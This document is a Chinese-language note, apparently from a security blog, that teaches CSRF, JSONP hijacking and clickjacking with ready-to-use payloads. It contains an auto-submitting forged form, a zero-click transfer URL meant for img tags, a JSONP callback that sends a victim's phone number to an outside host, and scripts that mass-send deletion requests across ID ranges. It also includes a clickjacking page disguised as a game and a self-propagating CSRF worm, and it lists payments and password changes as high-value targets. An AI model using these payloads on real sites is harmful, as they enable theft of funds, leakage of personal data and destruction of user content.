同源校验
domain=*.qq.com
所有.qq.com的顶级域名放行,也就是只有来自*站点的调用才会执行接口
可跨域的HTML标签
<script src=""></script>
<img src=""></img>
<iframe src=""></iframe>
window.open(url)
POST & GET
get
https://paypal.com/pay?sendto=xxxxx@qq.com&mount=100
通过此接口,实现利用用户cookie直接进行转账
将此接口用于<img scr="">标签中,将图片插入论坛等地,看见图片就自动运行接口,实现0clikc
post
post格式,在burp工具里生成poc
常见post型自动提交
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/" method="POST">
<input type="hidden" name="screenName" value="xhjxhj" />
<input type="hidden" name="url" value="" />
<input type="hidden" name="mail" value="2452406729@qq.com" />
<input type="hidden" name="do" value="profile" />
<input id="csrf" type="submit" value="Submit request" />
</form>
<script>document.getElementById("csrf").click()</script>
</body>
</html>
小技巧:当服务端用request接收数据,可把post改get
JSONP
客户端
<script>
function Jsonpxxxxcallback(data){
console.log((data).phone);
}
</script>
<script src="http://47.109.103.183?callback=Jsonpxxxxcallback"></script>
服务端
Jsonpxxxxcallback({"name":"dis","phone":"188000000"})
客户端的回调参数callBack调用函数Jsonpxxxxcallback,Jsonpxxxxcallback函数在js里定义,就是说,callBack调用Jsonpxxxxcallback函数处理服务端返回的数据
tips:服务端返回的是js代码
CSRF JSONP
在jsonp流程的基础上,我们可以使用请求服务端接口,构建自己的处理逻辑
jsonp数据外带
<script>
function Jsonpxxxxcallback(data){
// 输出从服务器返回的数据中的 phone 字段到控制台
console.log((data).phone);
// 创建一个新的 <img> 元素
var img = document.createElement('img');
// 设置这个 <img> 元素的 src 属性,向服务器发起另一个请求
img.src = "https://www.xiaowu5.cn/data?data="+((data).phone);
// 将这个 <img> 元素添加到文档头部,实际上是触发了一个新的网络请求
document.head.appendChild(img);
}
</script>
<script src="http://47.109.103.183?callback=Jsonpxxxxcallback"></script>
参数枚举
当删除文档功能的接口为:
http://xxx.xxx.xxx.xxx/del?docid=10001
一个页面发送多个数据包,同时运行接口的参数,进行参数枚举
分两种情况
如果目标站点允许被外部站点img标签,script标签,link标签或iframe标签嵌入,且嵌入后仍然是登录态
利用img嵌入从10000到99999的payload 例:
<body>
<script>
var t=0; // 初始化变量 t 为 0
function sc() {
t += 1; // 每次调用函数,t 值加 1
if (t <= 9) { // 如果 t 的值小于等于 9,执行以下操作
var temp = t * 10000; // 计算 temp 的值为 t * 10000
var result = ((t + 1) * 10000 - 1); // 计算 result 的值为 (t + 1) * 10000 - 1
// 构建一个 img 标签的字符串,src 属性使用了动态生成的 result
var data = `<img src="http://csrf.bwp6b9.ceye.io/del?docid=${result}" onerror="sc()" onload="sc()">`;
// 循环生成一系列的 img 标签
for (var i = temp; i < result; i++) {
data = `<img src="http://csrf.bwp6b9.ceye.io/del?docid=${i}">` + data; // 每次循环追加一个 img 标签到 data 变量
}
// 将生成的所有 img 标签插入到页面的 body 内容中
document.body.innerHTML = data;
}
}
// 初始调用 sc 函数,开始执行整个流程
sc();
</script>
</body>
iframe请求枚举
<script>
// 定义一个函数,用于创建指定 id 的 iframe
function get_id(id) {
var url = `https://example.com/?id=${id}`; // 构造 URL,使用传入的 id
var iframe = document.createElement('iframe'); // 创建一个 iframe 元素
iframe.src = url; // 设置 iframe 的 src 属性为构造好的 URL
document.head.appendChild(iframe); // 将 iframe 添加到文档头部
}
// 使用循环创建 100 个 iframe,id 分别从 400 到 499
for (var i = 0; i < 100; i++) {
get_id(400 + i); // 调用 get_id 函数,传入不同的 id 值
}
</script>
window.open(url)请求枚举
<script>
// 定义一个函数,用于打开指定 id 的 URL,并立即关闭窗口
function get_id(id) {
var url = `https://example.com/?id=${id}`;
var popup = window.open(url); // 打开一个新窗口并获取其引用
popup.close(); // 立即关闭新窗口
}
// 使用循环调用函数,打开 100 个不同 id 的 URL
for (var i = 0; i < 100; i++) {
get_id(400 + i); // 调用 get_id 函数,传入不同的 id 值
}
</script>
2.如果不允许嵌入或嵌入后非登录态,还可以使用window.open进行csrf,但是这种由于浏览器安全策略一般会弹出警告需要用户手动确认,所以不是所有的src都会收
// 初始化全局变量 t,用于生成递增的 id
var t = 10000;
// 定义函数 get_id,用于发送请求
function get_id(id) {
// 构造请求的 URL
var url = 'http://example.com?id=' + id;
// 尝试打开新窗口并立即关闭,模拟发送请求的行为
var d = window.open(url);
d.close();
}
// 定义函数 poc,用于循环调用 get_id 发送请求
function poc() {
// 每次循环生成一组 id,范围从 t 到 t+99
for (var i = t; i < t + 100; i++) {
get_id(i); // 发送请求
}
t += 100; // 更新 t 的值,准备下一组 id
}
// 修改当前页面的内容为一个带有事件处理器的 iframe 元素
document.body.innerHTML = '<iframe src="x" onerror="poc()" onload="poc()"></iframe>';
点击劫持
点击劫持的原理非常简单,就是将iframe引入的页面置于最顶层(可以理解为photoshop的图层),然后透明度设置为0%也就是完全透明,然后在这个透明的页面下定义恶意页面和按钮,诱导用户点击,当用户点击按钮的时候,其实实际操作的iframe引入的目标站点页面
<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POC</title>
<style>
iframe {
width: 100%;
height: 100%;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: <?php echo $_GET['opa'];?>;
filter: alpha(opacity=0);
}
.step1 {
position: absolute;
top: 90%;
left: 90%;
z-index: 1;
width: 50px;
height: 25px;
}
.step2 {
position: absolute;
top: 51%;
left: 65%;
z-index: 1;
width: 50px;
height: 25px;
}
.test1{
position: absolute;
top: 51%;
left: 65%;
z-index: 1;
width: 50px;
height: 25px;
}
</style>
</head>
<body>
<div id="step1"></div>
<div id="step2"></div>
<script>
var sta=1;
var div1=document.getElementById("step1");
var div2=document.getElementById("step2");
function adde(divs,nums){
divs.innerHTML="<button class=\"step"+nums+"\">step"+nums+"</button>";
}
function deld(divs){
divs.remove();
}
function main(){
var number=1;
setInterval(function(){
eval("adde(div"+number+","+number+");");
setTimeout("deld(div"+number+");",3000);
number++;
},3000);
}
if(sta==1){
setTimeout("main();",3000);
}
</script>
<iframe src="https://www.baidu.com/" scrolling="no" onload="alert('这是一个小游戏,你需要点击页面上出现的标签来体现你的反应力')"></iframe>
</body>
</html>
提高危险
1click csrf退出——>忽略
0click ——> 低
1click csrf转账 ——> 中
0click csrf转账 ——> 高
csrf常见功能点,以及csrf高风险功能点(可用于提高评分)
修改头像,修改个人信息,删除xxx资源,删除xxx物品,购买xxx物品,发布文章,发布评论,修改文章,修改评论
增删改
jsonp 涉及个人信息 (身份证,手机号,姓名,隐私文档)
csrf:支付,转账,账户修改密码,修改绑定微信qq微博手机号邮箱。。。。
CSRF蠕虫
http://example.com/submit?submit=<img src="http://example.com/submit?submit=......."
网友评论